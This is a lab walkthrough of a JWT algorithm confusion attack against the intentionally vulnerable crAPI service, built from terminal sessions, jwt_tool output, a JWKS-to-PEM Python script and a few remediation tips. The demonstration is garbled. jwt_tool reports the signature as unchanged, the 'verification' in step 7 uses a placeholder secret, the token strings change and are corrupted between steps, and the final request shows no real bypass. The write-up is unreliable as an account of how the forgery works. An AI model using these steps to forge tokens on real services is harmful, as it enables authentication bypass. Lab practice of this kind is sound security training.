

ALGORITHM CONFUSION ATTACK :

The Algorithm Confusion attack in JWT is a security vulnerability that occurs when an attacker can manipulate the token signature verification process by changing the algorithm from the JWT header.

How it works :

1) JWT Structure : JWT header is divided into three parts :

Header : Which type of algorithm used like RS256.

Payload : This contains the claims (user data)

Signature : The signature is created by using specified algorithm and secret key.

2) The attack : An attacker modifies the JWT header from a secure asymmetric algorithm to weaker symmetric algorithm like HS256.

3) Verification : If the server implementation doesn't properly validate the specified algorithm from the token, it might use public key for symmetric secret key for verification.

4) Token Forgery : Since the attacker knows the public key they can create their own signature that will verify successfully as a symmetric secret.

This attack allows an attacker to forge the valid token with any claims they want, potentially bypassing authentication and authorization mechanisms completely.

Demonstrating Algorithm Confusion Attack:

1) Register a user and get a JWT :

```
mukund@mukund-Inspiron-14-5430:~$ curl -X POST http://crapi.local:8888/identity/api/auth/signup -H "Content-Type: application/json" -d '{"name":"victim","email":"victim77@gmail.com","number":"8282828282","password":"victim1@M"}'
{"message":"User registered successfully! Please Login.","status":200}mukund@mukund-Inspiron-14-5430:~$
mukund@mukund-Inspiron-14-5430:~$
mukund@mukund-Inspiron-14-5430:~$ curl -X POST http://crapi.local:8888/identity/api/auth/login -H "Content-Type: application/json" -d '{"email":"victim77@gmail.com","password":"victim1@M"}'
{"token":"eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ2aWN0aW03N0BnbWVpbC5jb20iLCJpYXQiOiJlZ3ODczODI0NjcsImV4cCI6MTc4Nzk4NzI2Nywicm9sZSI6InVzZXIifQ.lsnTv0-aDEcqz6YdNleNt4aQEHv4FvCzh7UerfxR4gryd8B9kfPA2teUJPH6ccDjztsMlarE81F-X_u9VbKuvAt-NZIL9ZrooUoB0Q0ztEduEKalatjvSe7R8B3ESr9yOW9SiAYUr--uAH9nX_nC0TE50BAJ7ZxnKq_OwEJyKv1zvDPnwlmcvc93n3yEpacA_Az_T4uRv_ExtLIgHEwLzY8FLmxFOlZ8KbtQeaQ4thJTKair7R7ahm3manamJguVcMR-_1iaCW_rePIc7KRqBTM00A6QMYbARbQD7SUB0-ItP4H-qBZKZUICVSH9XbO_WkjjVDWLG_gvtVIZXGADw","type":"Bearer","message":"Login successful","mfaRequired":false}mukund@mukund-Inspiron-14-5430:~$
```

2) Store JWT as env variable :

```
mukund@mukund-Inspiron-14-5430:~$ TOKEN="eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ2aWN0aW03N0BnbWVpbC5jb20iLCJpYXQiOiJlZ3ODczODI0NjcsImV4cCI6MTc4Nzk4NzI2Nywicm9sZSI6InVzZXIifQ.lsnTv0-aDEcqz6YdNleNt4aQEHv4FvCzh7UerfxR4gryd8B9kfPA2teUJPH6ccDjztsMlarE81F-X_u9VbKuvAt-NZIL9ZrooUoB0Q0ztEduEKalatjvSe7R8B3ESr9yOW9SiAYUr--uAH9nX_nC0TE50BAJ7ZxnKq_OwEJyKv1zvDPnwlmcvc93n3yEpacA_Az_T4uRv_ExtLIgHEwLzY8FLmxFOlZ8KbtQeaQ4thJTKair7R7ahm3manamJguVcMR-_1iaCW_rePIc7KRqBTM00A6QMYbARbQD7SUB0-ItP4H-qBZKZUICVSH9XbO_WkjjVDWLG_gvtVIZXGADw"
```

3)Analyze the JWT :

```
mukund@mukund-Inspiron-14-5430:~$ jwt_tool $TOKEN

  JWT_Tool
  Version 2.3.0 @ticarpi

/home/mukund/.jwt_tool/jwtconf.ini
Original JWT:

=====
Decoded Token Values:
=====

Token header values:
[+] alg = "RS256"

Token payload values:
[+] sub = "victim77@gmail.com"
[+] iat = 1787382467 ==> TIMESTAMP = 2026-08-22 12:37:47 (UTC)
[+] exp = 1787987267 ==> TIMESTAMP = 2026-08-29 12:37:47 (UTC)
[+] role = "user"

Seen timestamps:
[*] iat was seen
[*] exp is later than iat by: 7 days, 0 hours, 0 mins

-----
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
-----
```

4) Fetch the public key :

```
mukund@mukund-Inspiron-14-5430:~$ curl -s http://crapi.local:8888/.well-known/jwks.json
{
  "keys": [
    {
      "kty": "RSA",
      "e": "AQAB",
      "use": "sig",
      "kid": "MKMZkDenUfUdF2byYowDj7tW50x6XG4Y1THTEGScRg8",
      "alg": "RS256",
      "n": "sZKRGYja9S7Bk0-wa0cupoGY6BQjixJkg1Uitt278NbiCSnBRw5_cmfuWFFFPgRxabBZBJwJAujnQrLgTLXnRRItM9SR0884cEXn-s4Uc8qwk6pev63qb8no6aCVY0dFpthEGtOP-3KIJ2kx2l5HNzm8d7FG3ZswZrttDVbSSTy8UjPTOr4xVw1Yyh_GzGK9i_RYBWHftDsVfKrHegGn1F_T6W0cgcnh4KFmby0Q7dUy8Uc6Gu8JHeHJVt2vGcn50EDtUy2YN-UnZPjCSC7vY0fd5teUR_Bf4jg8GN6UnLbr_Et8HUnz9RfBLkPIf0NiY6lRjp9ooSDknl20Gql3ww"
    }
  ]
}
mukund@mukund-Inspiron-14-5430:~$
```

5) Convert JWKS to a PEM public key :

```
# Python script to convert JWKS to PEM
import base64, json, requests
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa

# Fetch JWKS from crAPI
resp = requests.get("http://crapi.local:8888/.well-known/jwks.json")
jwks = resp.json()
key = jwks["keys"][0]

# Decode the modulus and exponent
n = int.from_bytes(base64.urlsafe_b64decode(key["n"] + "=="), "big")
e = int.from_bytes(base64.urlsafe_b64decode(key["e"] + "=="), "big")

# Build RSA public key
pub_key = rsa.RSAPublicNumbers(e, n).public_key()
pem = pub_key.public_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PublicFormat.PKCS1
)
print(pem.decode())
```



```

Current value of alg is: RS256
Please enter new value and hit ENTER
> HS256
[1] alg = "HS256"
[2] *ADD A VALUE*
[3] *DELETE A VALUE*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0

Token payload values:
[1] sub = "victim77@gmail.com"
[2] iat = 1787382467 ==> TIMESTAMP = 2026-08-22 12:37:47 (UTC)
[3] exp = 1787987267 ==> TIMESTAMP = 2026-08-29 12:37:47 (UTC)
[4] role = "user"
[5] *ADD A VALUE*
[6] *DELETE A VALUE*
[7] *UPDATE TIMESTAMPS*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0

Signature unchanged - no signing method specified (-S or -X)
jwttool_3e5e7ba2f70b615957b0c06332fc61b4 - Tampered token:
[+] eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ2aWNoeW03N0BnbWVpbC5jb20iLCJpYXQiOiJlbnV4Ci6MTc4Nzk4NzI2Nywic9sZSI6InVzZXIifQ.lsnTv0-aDEcqz6YdNLeNt4aQEhV4FvCzh7UeRfxR4gryd8B9kfPA2teUJPH6ccDjztsMlarE81F-X_u9VbKuvAt-NZIL9ZrooUoB0Q0ztEduEKalatjv5e7R8B3ESr9yOW9SiAYUr--uAH9nX_nC0TE50BAJ7ZxnKq_OwEJyKv1zvDPnWlmcvc93n3yEpacA_Az_T4uRv_ExTLIGqHEwLzY8FLmxFOlZ8KbtQeaQ4thJTKair7R7ahm3manamJguVcMR-_1iaCW_reP1c7KRqBTM00A6QMYbARbQD7SUB0-1tp4H-qBZKZUICVSH9Xb0_Wkj3VDWLG_gvtVIZXGADw

```

7) Verify the forged token is correct :

JWT Decoder

JWT Encoder

Paste a JWT below that you'd like to decode, validate, and verify.

Generate example

Select signing algorithm

Encoded Token

Enable auto-focus

Decoded Header

Decoded Payload

JWT Signature Verification (Optional)

Valid JWT

Secret

```

eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ2aWNoeW03N0BnbWVpbC5jb20iLCJpYXQiOiJlbnV4Ci6MTc4Nzk4NzI2Nywic9sZSI6InVzZXIifQ.lsnTv0-aDEcqz6YdNLeNt4aQEhV4FvCzh7UeRfxR4gryd8B9kfPA2teUJPH6ccDjztsMlarE81F-X_u9VbKuvAt-NZIL9ZrooUoB0Q0ztEduEKalatjv5e7R8B3ESr9yOW9SiAYUr--uAH9nX_nC0TE50BAJ7ZxnKq_OwEJyKv1zvDPnWlmcvc93n3yEpacA_Az_T4uRv_ExTLIGqHEwLzY8FLmxFOlZ8KbtQeaQ4thJTKair7R7ahm3manamJguVcMR-_1iaCW_reP1c7KRqBTM00A6QMYbARbQD7SUB0-1tp4H-qBZKZUICVSH9Xb0_Wkj3VDWLG_gvtVIZXGADw

```

```

{
  "alg": "HS256"
}

```

```

{
  "sub": "victim77@gmail.com",
  "iat": 1787382467,
  "exp": 1787987267,
  "role": "user"
}

```

Enter the secret used to sign the JWT below:

```

a-string-secret-at-least-256-bits-long

```

8) Verify the forged token works :

```
mukund@mukund-Inspiron-14-5430:~$ FORGED="eyJhbGciOiJIUzI1NiJ9.eYjZdWl0iJ2aWN0aW03N0BnbWpbc5jb20lLCJpYXQiOiJlZ3ODczODI0NjcsImV4cCI6MTc4Nzk4NzI2Nywicm9sZSI6InVzZXIiOiJ0LnTvO-aDEcQz6YdNLEnt4aQEHv4FvCzh7UeRfxR4gryd8B9kFPA2teUJPH6ccDjzt5MlarE81F-X_u9VbkuvAt-NZIL9ZrooUoB0Q0ztEduEkalatjv5e7R8B3ESr9yOW9SiAYUr--uAH9nX_nc0TE50BAJ7ZxnKq_OwEjYkv1zvPnwlmvc93n3yEpacA_Az_T4uRv_ExtLIgqHEwLzY8FlmxFOlZ8KbtQeaQ4thJTkaIr7R7ahm3manamJguVcMR-_1iaCW_rePiC7KRqBTM00A6QMvYArBqD7SUB0-1tp4H-qBZKZUICVSH9XbO_wkjjvDWLG_gvtVIZXGADw"
mukund@mukund-Inspiron-14-5430:~$
mukund@mukund-Inspiron-14-5430:~$
mukund@mukund-Inspiron-14-5430:~$
mukund@mukund-Inspiron-14-5430:~$ cat $FORGED
cat:eyJhbGciOiJIUzI1NiJ9.eYjZdWl0iJ2aWN0aW03N0BnbWpbc5jb20lLCJpYXQiOiJlZ3ODczODI0NjcsImV4cCI6MTc4Nzk4NzI2Nywicm9sZSI6InVzZXIiOiJ0LnTvO-aDEcQz6YdNLEnt4aQEHv4FvCzh7UeRfxR4gryd8B9kFPA2teUJPH6ccDjzt5MlarE81F-X_u9VbkuvAt-NZIL9ZrooUoB0Q0ztEduEkalatjv5e7R8B3ESr9yOW9SiAYUr--uAH9nX_nc0TE50BAJ7ZxnKq_OwEjYkv1zvPnwlmvc93n3yEpacA_Az_T4uRv_ExtLIgqHEwLzY8FlmxFOlZ8KbtQeaQ4thJTkaIr7R7ahm3manamJguVcMR-_1iaCW_rePiC7KRqBTM00A6QMvYArBqD7SUB0-1tp4H-qBZKZUICVSH9XbO_wkjjvDWLG_gvtVIZXGADw: File name too long
mukund@mukund-Inspiron-14-5430:~$
mukund@mukund-Inspiron-14-5430:~$
mukund@mukund-Inspiron-14-5430:~$
mukund@mukund-Inspiron-14-5430:~$ curl -s http://crapi.local:8888/identity/api/v2/user/dashboard -H "Authorization: Bearer $FORGED"
{"id":37,"name":"victim","email":"victim77@gmail.com","number":"8282828282","picture_url":null,"video_url":null,"video_name":null,"available_credit":100.0,"video_id":0,"role":"ROLE_USER"}mukund@mukund-Inspiron-14-5430:~$
```

Remediation :

- Always explicitly specify which algorithms your application accepts
- Reject tokens with unexpected algorithm values
- Use libraries that properly handle algorithm selection
- Consider using algorithm-specific verification methods